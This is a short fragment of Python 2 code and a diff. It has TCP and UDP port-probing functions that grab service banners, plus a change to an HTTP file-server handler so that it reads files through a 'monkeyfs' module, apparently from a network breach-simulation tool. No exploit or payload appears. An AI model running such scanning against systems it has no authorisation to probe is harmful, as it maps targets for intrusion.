banner = sock.recv(BANNER_READ)
except:
pass
sock.close()
return (True, banner)
def check_port_udp(ip, port, timeout=DEFAULT_TIMEOUT):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
data = None
is_open = False
try:
sock.sendto("-", (ip, port))
data, _ = sock.recvfrom(BANNER_READ)
is_open = True
except:
pass
sock.close()
return (is_open, data)

View File

@ -1,6 +1,7 @@
import urllib, BaseHTTPServer, threading, os.path import urllib, BaseHTTPServer, threading, os.path
import shutil import shutil
import struct import struct
import monkeyfs
from logging import getLogger from logging import getLogger
__author__ = 'hoffer' __author__ = 'hoffer'
@ -39,7 +40,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
total += chunk total += chunk
start_range += chunk start_range += chunk
if f.tell() == os.fstat(f.fileno()).st_size: if f.tell() == monkeyfs.getsize(self.filename):
self.report_download() self.report_download()
f.close() f.close()
@ -56,10 +57,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
return return
f = None f = None
try: try:
# Always read in binary mode. Opening files in text mode may cause f = monkeyfs.open(self.filename, 'rb')
# newline translations, making the actual size of the content
# transmitted *less* than the content-length!
f = open(self.filename, 'rb')
except IOError: except IOError:
self.send_error(404, "File not found") self.send_error(404, "File not found")
return (None, 0, 0) return (None, 0, 0)